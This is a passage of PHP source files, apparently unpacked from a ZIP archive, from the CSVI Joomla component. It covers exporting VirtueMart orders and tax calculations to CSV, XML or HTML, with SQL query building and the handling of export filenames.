$db->quoteName('#__virtuemart_orders').'.'.$db->quoteName($field->field_name); break; case 'email': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName($field->field_name); break; case 'id': $userfields[] = $db->quoteName('#__users').'.'.$db->quoteName($field->field_name); break; case 'payment_element': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_paymentmethod_id'); break; case 'shipment_element': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_shipmentmethod_id'); break; case 'state_2_code': case 'state_3_code': case 'state_name': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('virtuemart_state_id'); break; case 'country_2_code': case 'country_3_code': case 'country_name': case 'virtuemart_country_id': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('virtuemart_country_id'); break; case 'user_currency': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('user_currency_id'); break; case 'username': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_user_id'); break; case 'full_name': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('first_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('middle_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('last_name'); break; case 'total_order_items': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_order_id'); break; case 'product_price_total': $userfields[] = 'product_item_price*product_quantity AS product_price_total'; break; case 'discount_percentage': $userfields[] = '(order_discount/order_total)*100 AS discount_percentage'; break; case 'custom': // These are man made fields, do not try to get them from the database break; default: if ($address == 'BTST' && preg_match("/".$field->field_name."/i", join(",", array_keys($user_info_fields)))) { $userfields[] = 'COALESCE(user_info2.'.$field->field_name.', user_info1.'.$field->field_name.') AS '.$field->field_name; } else $userfields[] = $db->quoteName($field->field_name); break; } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_orders'); $query->leftJoin('#__virtuemart_order_items ON #__virtuemart_orders.virtuemart_order_id = #__virtuemart_order_items.virtuemart_order_id'); $query->leftJoin('#__virtuemart_order_userinfos AS user_info1 ON #__virtuemart_orders.virtuemart_order_id = user_info1.virtuemart_order_id'); if ($address == 'BTST') { $query->leftJoin('#__virtuemart_order_userinfos AS user_info2 ON #__virtuemart_orders.virtuemart_order_id = user_info2.virtuemart_order_id AND user_info2.address_type = '.$db->Quote('ST')); } $query->leftJoin('#__virtuemart_orderstates ON #__virtuemart_orders.order_status = #__virtuemart_orderstates.order_status_code'); $query->leftJoin('#__virtuemart_product_manufacturers ON #__virtuemart_order_items.virtuemart_product_id = #__virtuemart_product_manufacturers.virtuemart_product_id'); $query->leftJoin('#__virtuemart_manufacturers ON #__virtuemart_product_manufacturers.virtuemart_manufacturer_id = #__virtuemart_manufacturers.virtuemart_manufacturer_id'); $query->leftJoin('#__users ON #__users.id = user_info1.virtuemart_user_id'); $query->leftJoin('#__virtuemart_countries ON #__virtuemart_countries.virtuemart_country_id = user_info1.virtuemart_country_id'); // Check if there are any selectors $selectors = array(); // Filter by manufacturer $manufacturer = $template->get('ordermanufacturer', 'order', false); if ($manufacturer && $manufacturer[0] != 'none') { $selectors[] = '#__virtuemart_manufacturers.virtuemart_manufacturer_id IN ('.implode(',', $manufacturer).')'; } // Filter by order number start $ordernostart = $template->get('ordernostart', 'order', false, 'int'); if ($ordernostart > 0) { $selectors[] = '#__virtuemart_orders.virtuemart_order_id >= '.$ordernostart; } // Filter by order number end $ordernoend = $template->get('ordernoend', 'order', false, 'int'); if ($ordernoend > 0) { $selectors[] = '#__virtuemart_orders.virtuemart_order_id <= '.$ordernoend; } // Filter by list of order numbers $orderlist = $template->get('orderlist', 'order'); if ($orderlist) { $selectors[] = '#__virtuemart_orders.virtuemart_order_id IN ('.$orderlist.')'; } // Filter by order date start $orderdatestart = $template->get('orderdatestart', 'order', false); if ($orderdatestart) { $orderdate = JFactory::getDate($orderdatestart); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('created_on').' >= '.$db->Quote($orderdate->toMySQL()); } // Filter by order date end $orderdateend = $template->get('orderdateend', 'order', false); if ($orderdateend) { $orderdate = JFactory::getDate($orderdateend); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('created_on').' <= '.$db->Quote($orderdate->toMySQL()); } // Filter by order modified date start $ordermdatestart = $template->get('ordermdatestart', 'order', false); if ($ordermdatestart) { $ordermdate = JFactory::getDate($ordermdatestart); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('modified_on').' >= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order modified date end $ordermdateend = $template->get('ordermdateend', 'order', false); if ($ordermdateend) { $ordermdate = JFactory::getDate($ordermdateend); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('modified_on').' <= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order status $orderstatus = $template->get('orderstatus', 'order', false); if ($orderstatus && $orderstatus[0] != '') { $selectors[] = '#__virtuemart_orders.order_status IN (\''.implode("','", $orderstatus).'\')'; } // Filter by order price start $pricestart = $template->get('orderpricestart', 'order', false, 'float'); if ($pricestart) { $selectors[] = '#__virtuemart_orders.order_total >= '.$pricestart; } // Filter by order price end $priceend = $template->get('orderpriceend', 'order', false, 'float'); if ($priceend) { $selectors[] = '#__virtuemart_orders.order_total <= '.$priceend; } // Filter by order user id $orderuser = $template->get('orderuser', 'order', false); if ($orderuser && $orderuser[0] != '') { $selectors[] = '#__virtuemart_orders.virtuemart_user_id IN (\''.implode("','", $orderuser).'\')'; } // Filter by order product $orderproduct = $template->get('orderproduct', 'order', false); if ($orderproduct && $orderproduct[0] != '') { $selectors[] = '#__virtuemart_order_items.order_item_sku IN (\''.implode("','", $orderproduct).'\')'; } // Filter by address type if ($address) { switch (strtoupper($address)) { case 'BTST': $selectors[] = "user_info1.address_type = 'BT'"; break; default: $selectors[] = 'user_info1.address_type = '.$db->Quote(strtoupper($address)); break; } } // Filter by order currency $ordercurrency = $template->get('ordercurrency', 'order', false); if ($ordercurrency && $ordercurrency[0] != '') { $selectors[] = '#__virtuemart_orders.order_currency IN (\''.implode("','", $ordercurrency).'\')'; } // Filter by payment method $orderpayment = $template->get('orderpayment', 'order', false); if ($orderpayment && $orderpayment[0] != '') { $selectors[] = '#__virtuemart_orders.virtuemart_paymentmethod_id IN (\''.implode("','", $orderpayment).'\')'; } // Check if we need to attach any selectors to the query if (count($selectors) > 0) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $address, $user_info_fields); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $address, $user_info_fields); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { if ($field->process) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'payment_element': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_paymentmethods'); $query->where('virtuemart_paymentmethod_id = '.$record->virtuemart_paymentmethod_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'shipment_element': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_shipmentmethods'); $query->where('virtuemart_shipmentmethod_id = '.$record->virtuemart_shipmentmethod_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'state_2_code': case 'state_3_code': case 'state_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_states'); $query->where('virtuemart_state_id = '.$record->virtuemart_state_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'country_2_code': case 'country_3_code': case 'country_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_countries'); $query->where('virtuemart_country_id = '.$record->virtuemart_country_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'user_currency': $query = $db->getQuery(true); $query->select('currency_code_3'); $query->from('#__virtuemart_currencies'); $query->where('virtuemart_currency_id = '.$record->user_currency_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'user_email': $fieldvalue = CsviHelper::replaceValue($field->replace, $record->email); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'user_id': $fieldvalue = CsviHelper::replaceValue($field->replace, $record->virtuemart_user_id); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'address_type': // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; if ($fieldvalue == 'BT') $fieldvalue = JText::_('COM_CSVI_BILLING_ADDRESS'); else if ($fieldvalue == 'ST') $fieldvalue = JText::_('COM_CSVI_SHIPPING_ADDRESS'); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'full_name': $fieldvalue = str_replace(' ', ' ', $record->first_name.' '.$record->middle_name.' '.$record->last_name); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'total_order_items': $query = $db->getQuery(true); $query->select('COUNT(virtuemart_order_id) AS totalitems'); $query->from('#__virtuemart_order_items'); $query->where('virtuemart_order_id = '.$record->virtuemart_order_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'custom': // Has no database value, get the default value only $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'username': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__users'); $query->where('id = '.$record->virtuemart_user_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'order_tax': case 'order_total': case 'order_subtotal': case 'order_shipment': case 'order_shipment_tax': case 'order_payment': case 'order_payment_tax': case 'coupon_discount': case 'order_discount': case 'user_currency_rate': case 'product_price_total': case 'discount_percentage': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } } // Clean the totalitems JRequest::setVar('total_order_items', 0); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } /** * Create an SQL filter * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $filter what kind of SQL type should be created * @return string the SQL part to add to the query * @since 3.0 */ protected function getFilterBy($filter, $address, $user_info_fields) { $db = JFactory::getDBO(); $export_fields = JRequest::getVar('export.fields'); $fields = array(); foreach ($export_fields as $column_id => $field) { switch ($filter) { case 'groupby': $process = true; break; case 'sort': $process = $field->sort; break; default: $process = false; } if ($process) { switch ($field->field_name) { case 'custom': case 'total_order_items': case 'discount_percentage': case 'product_price_total': case 'full_name': case 'payment_element': case 'shipment_element': case 'state_2_code': case 'state_3_code': case 'state_name': case 'country_2_code': case 'country_3_code': case 'country_name': case 'user_currency': case 'user_email': case 'user_id': case 'virtuemart_country_id': break; case 'user_id': $fields[] = $db->qn('#__virtuemart_orders.virtuemart_user_id'); break; case 'product_price': $fields[] = $db->qn('product_item_price'); break; case 'ordering': $fields[] = $db->qn('#__virtuemart_orderstates.ordering'); break; default: if ($address == 'BTST' && preg_match("/".$field->field_name."/i", join(",", array_keys($user_info_fields)))) { $fields[] = $db->qn('user_info1.'.$field->field_name); } else $fields[] = $db->qn($field->field_name); break; } } } // Construct the SQL part if (!empty($fields)) { switch ($filter) { case 'groupby': $groupby_fields = array_unique($fields); $q = implode(',', $groupby_fields); break; case 'sort': $sort_fields = array_unique($fields); $q = implode(', ', $sort_fields); break; default: $q = ''; break; } } else $q = ''; return $q; } } ?>PKs>\C&&4com_csvi/models/com_virtuemart/export/calcexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $helper = new Com_VirtueMart(); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_calc_id': case 'created_by': case 'created_on': case 'locked_by': case 'locked_on': case 'modified_by': case 'modified_on': case 'ordering': case 'published': case 'shared': case 'virtuemart_vendor_id': $userfields[] = '#__virtuemart_calcs.'.$field->field_name; break; case 'category_path': case 'shopper_group_name': case 'country_name': case 'country_2_code': case 'country_3_code': case 'state_name': case 'state_2_code': case 'state_3_code': $userfields[] = '#__virtuemart_calcs.virtuemart_calc_id'; break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_calcs'); $query->leftJoin('#__virtuemart_calc_categories ON #__virtuemart_calc_categories.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_calc_countries ON #__virtuemart_calc_countries.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_calc_shoppergroups ON #__virtuemart_calc_shoppergroups.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_calc_states ON #__virtuemart_calc_states.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_currencies ON #__virtuemart_currencies.virtuemart_currency_id = #__virtuemart_calcs.calc_currency'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_calcs.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore fields $ignore = array('category_path', 'shopper_group_name','country_name', 'country_2_code', 'country_3_code', 'state_name', 'state_2_code', 'state_3_code'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'category_path': // Get all the category IDs $query = $db->getQuery(true); $query->select('virtuemart_category_id'); $query->from('#__virtuemart_calc_categories'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $catids = $db->loadColumn(); if (!empty($catids)) { $categories = array(); foreach ($catids as $catid) { $categories[] = $helper->createCategoryPathById($catid); } $fieldvalue = implode('|', $categories); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'shopper_group_name': $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_calc_shoppergroups'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $groupids = $db->loadResultArray(); if (!empty($groupids)) { $query = $db->getQuery(true); $query->select('shopper_group_name'); $query->from('#__virtuemart_shoppergroups'); $query->where('virtuemart_shoppergroup_id IN ('.implode(',', $groupids).')'); $db->setQuery($query); $names = $db->loadResultArray(); $fieldvalue = implode('|', $names); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'country_name': case 'country_2_code': case 'country_3_code': $query = $db->getQuery(true); $query->select('virtuemart_country_id'); $query->from('#__virtuemart_calc_countries'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $groupids = $db->loadResultArray(); if (!empty($groupids)) { $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_countries'); $query->where('virtuemart_country_id IN ('.implode(',', $groupids).')'); $db->setQuery($query); $names = $db->loadResultArray(); $fieldvalue = implode('|', $names); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'state_name': case 'state_2_code': case 'state_3_code': $query = $db->getQuery(true); $query->select('virtuemart_state_id'); $query->from('#__virtuemart_calc_states'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $groupids = $db->loadResultArray(); if (!empty($groupids)) { $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_states'); $query->where('virtuemart_state_id IN ('.implode(',', $groupids).')'); $db->setQuery($query); $names = $db->loadResultArray(); $fieldvalue = implode('|', $names); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\#o,,com_csvi/models/index.htmlnuW+APKs>\)com_csvi/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\^^VVcom_csvi/models/exportfile.phpnuW+Ainput; $db = JFactory::getDbo(); $option = $jinput->get('option'); $data = $jinput->get('jform', array(), 'array'); // Prepare the template $template = $jinput->get('template', null, null); if (is_null($template)) { $data['id'] = $jinput->get('template_id', 0, 'int'); $template = new CsviTemplate($data); $jinput->set('template', $template); } $template->setName($jinput->get('template_name', '', 'string')); // Set the export type $jinput->set('export_type', $data['options']['operation']); // Initiate the log $csvilog = new CsviLog(); // Create a new Import ID in the logger $csvilog->setId(); // Set to collect debug info $csvilog->setDebug($template->get('collect_debug_info', 'general')); // Set some log info $csvilog->SetAction('export'); $csvilog->SetActionType($jinput->get('export_type'), $template->getName('template_name')); // Add the logger to the registry $jinput->set('csvilog', $csvilog); // Load the fields to export $exportfields = $this->getExportFields(); if (!empty($exportfields)) { // Set the last export field $jinput->set('export.fields', $exportfields); // Allow big SQL selects $db->setQuery("SET OPTION SQL_BIG_SELECTS=1"); $db->query(); // Get the filename for the export file $jinput->set('export.filename', $this->exportFilename()); // See if we need to get an XML/HTML class $export_format = $template->get('export_file', 'general'); if ($export_format == 'xml' || $export_format == 'html') { $exportclass = $this->getExportClass(); if ($exportclass) $jinput->set('export.class', $exportclass); else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_CLASS')); $app->enqueueMessage(JText::_('COM_CSVI_NO_EXPORT_CLASS'), 'error'); $jinput->set('logcount', 0); return false; } } // Return all is good return true; } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_FIELDS')); $app->enqueueMessage(JText::_('COM_CSVI_NO_EXPORT_FIELDS'), 'error'); $jinput->set('logcount', 0); return false; } } /** * Set the delimiters * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _setDelimiters() { if (is_null($this->_field_delim)) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Set the delimiters $this->_field_delim = $template->get('field_delimiter', 'general', ','); $this->_text_delim = $template->get('text_enclosure', 'general', ''); } } /** * Process the export data * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessData() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $export_format = $template->get('export_file', 'general'); $export_fields = $jinput->get('export.fields', null, null); $export_class = $jinput->get('export.class', null, null); // Write out some import settings $this->_exportDetails(); // Start the export if (!$this->_outputStart()) { // Store the log results $log_model = $this->_getModel('log'); $log_model->getStoreLogResults(); return false; } // Add signature for Excel if ($template->get('signature', 'general')) $this->_contents['signature'] = "\xEF\xBB\xBF"; // Add header for XML if ($export_format == 'xml') $this->_contents[] = $export_class->HeaderText(); // Add header for HTML else if ($export_format == 'html') { $this->_contents[] = $export_class->HeaderText(); if ($template->get('include_column_headers', 'general')) { $this->_contents[] = $export_class->StartTableHeaderText(); foreach ($export_fields as $column_id => $field) { if ($field->process) { $header = ($field->column_header) ? $field->column_header : $field->field_name; $this->_contents[] = $export_class->TableHeaderText($header); } } $this->_contents[] = $export_class->EndTableHeaderText(); } $this->_contents[] = $export_class->BodyText(); } else { // Add the header from the template $header = $template->get('header', 'layout', false); if ($header) { $this->_contents[] = $header; $this->writeOutput(); } // Get the delimiters // See if the user wants column headers // Product type names export needs to be excluded here otherwise the column headers are incorrect if ($template->get('include_column_headers', 'general', true)) { $this->_setDelimiters(); $addheader = true; foreach ($export_fields as $column_id => $field) { if ($field->process) { $header = (empty($field->column_header)) ? $field->field_name : $field->column_header; if ($addheader) $this->_contents[] = $this->_text_delim.$header.$this->_text_delim; if ($field->combine) $addheader = false; else $addheader = true; } } } } // Output content $this->writeOutput(); // Start the export from the chosen template type $exportmodel = $this->_getModel($jinput->get('export_type')); $exportmodel->getStart(); if ($export_format == 'xml' || $export_format == 'html') { $footer = $export_class->FooterText(); } else { // Add the footer from the template $footer = $template->get('footer', 'layout'); } // Write the footer if ($footer && !empty($footer)) { $this->_contents[] = $footer; $this->writeOutput(); } // End the export $this->_outputEnd(); // Store the log results $log_model = $this->_getModel('log'); $log_model->getStoreLogResults(); // Process some settings switch ($template->get('exportto', 'general')) { case 'tofile': case 'toemail': case 'toftp': if (!$jinput->get('cron', false, 'bool')) { $app = JFactory::getApplication(); $app->redirect(JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$csvilog->getId()); } break; case 'todownload': jexit(); break; case 'tofront': return true; break; } } /** * Cleanup after export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function getCleanSession() { // Store the log results first $log = $this->_getModel('log'); $log->getStoreLogResults(); } /** * Load the export class that handles the file export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true when xml class is found|false when when no site is given * @since 3.0 */ public function getExportClass() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = false; $exporttype = $template->get('export_file', 'general'); $exportsite = $template->get('export_site', 'general', 'csvimproved'); // Construct the file name $filename = $exportsite.'.php'; // Find the export class $helper = JPath::find(array(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/export/'.$exporttype), $filename); if (!$helper) return false; else { // Load the file and instantite it include_once($helper); $classname = 'Csvi'.ucfirst($exportsite); $exportclass = new $classname; } return $exportclass; } /** * Get the export filename * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string Returns the filename of the exported file * @since 3.0 */ public function exportFilename() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check if the export is limited, if so add it to the filename // Check if both values are greater than 0 if (($template->get('recordstart', 'general') > 0) && ($template->get('recordend', 'general') > 0)) { // We have valid limiters, add the limit to the filename $filelimit = "_".$template->get('recordend', 'general').'_'.($template->get('recordend', 'general')-1)+$template->get('recordstart', 'general'); } else $filelimit = ''; // Set the filename to use for export $export_filename = trim($template->get('export_filename', 'general')); $local_path = JPath::clean($template->get('localpath', 'general'), '/'); $export_file = $template->get('export_file', 'general'); // Do some customizing // Replace year $export_filename = str_replace('[Y]', date('Y', time()), $export_filename); $export_filename = str_replace('[y]', date('y', time()), $export_filename); // Replace month $export_filename = str_replace('[M]', date('M', time()), $export_filename); $export_filename = str_replace('[m]', date('m', time()), $export_filename); $export_filename = str_replace('[F]', date('F', time()), $export_filename); $export_filename = str_replace('[n]', date('n', time()), $export_filename); // Replace day $export_filename = str_replace('[d]', date('d', time()), $export_filename); $export_filename = str_replace('[D]', date('D', time()), $export_filename); $export_filename = str_replace('[j]', date('j', time()), $export_filename); $export_filename = str_replace('[l]', date('l', time()), $export_filename); // Replace hour $export_filename = str_replace('[g]', date('g', time()), $export_filename); $export_filename = str_replace('[G]', date('G', time()), $export_filename); $export_filename = str_replace('[h]', date('h', time()), $export_filename); $export_filename = str_replace('[H]', date('H', time()), $export_filename); // Replace minute $export_filename = str_replace('[i]', date('i', time()), $export_filename); // Replace seconds $export_filename = str_replace('[s]', date('s', time()), $export_filename); // Setup the full path for the filename switch ($template->get('exportto', 'general')) { case 'toemail': case 'toftp': if (!empty($export_filename)) $localfile = CSVIPATH_TMP.'/'.$export_filename; else $localfile = CSVIPATH_TMP.'/CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; break; case 'tofile': if (!empty($local_path) && !empty($export_filename)) $localfile = $local_path.'/'.$export_filename; else if (!empty($local_path)) $localfile = $local_path.'/CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; else 'CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; break; case 'tofront': $uri = JURI::getInstance(); $localfile = $uri->toString(); break; default: if (!empty($export_filename)) $localfile = $export_filename; else $localfile = 'CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; break; } // Clean up $localfile = JPath::clean($localfile, '/'); // Set the filename $csvilog->setFilename($localfile); // Return the filename return $localfile; } /** * Get the fields to use for the export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array Returns an array of required fields and default field values * @since 3.0 */ public function getExportFields() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $template = $jinput->get('template', null, null); // Get the field configuration $export_fields = $template->get('export_fields'); // Set the field options for export if (!empty($export_fields)) { foreach ($export_fields['_selected_name'] as $kef => $field_name) { $field = new StdClass; $field->field_name = $field_name; $field->column_header = $export_fields['_column_header'][$kef]; $field->default_value = $export_fields['_default_value'][$kef]; $field->process = $export_fields['_process_field'][$kef]; $field->combine = $export_fields['_combine_field'][$kef]; $field->sort = 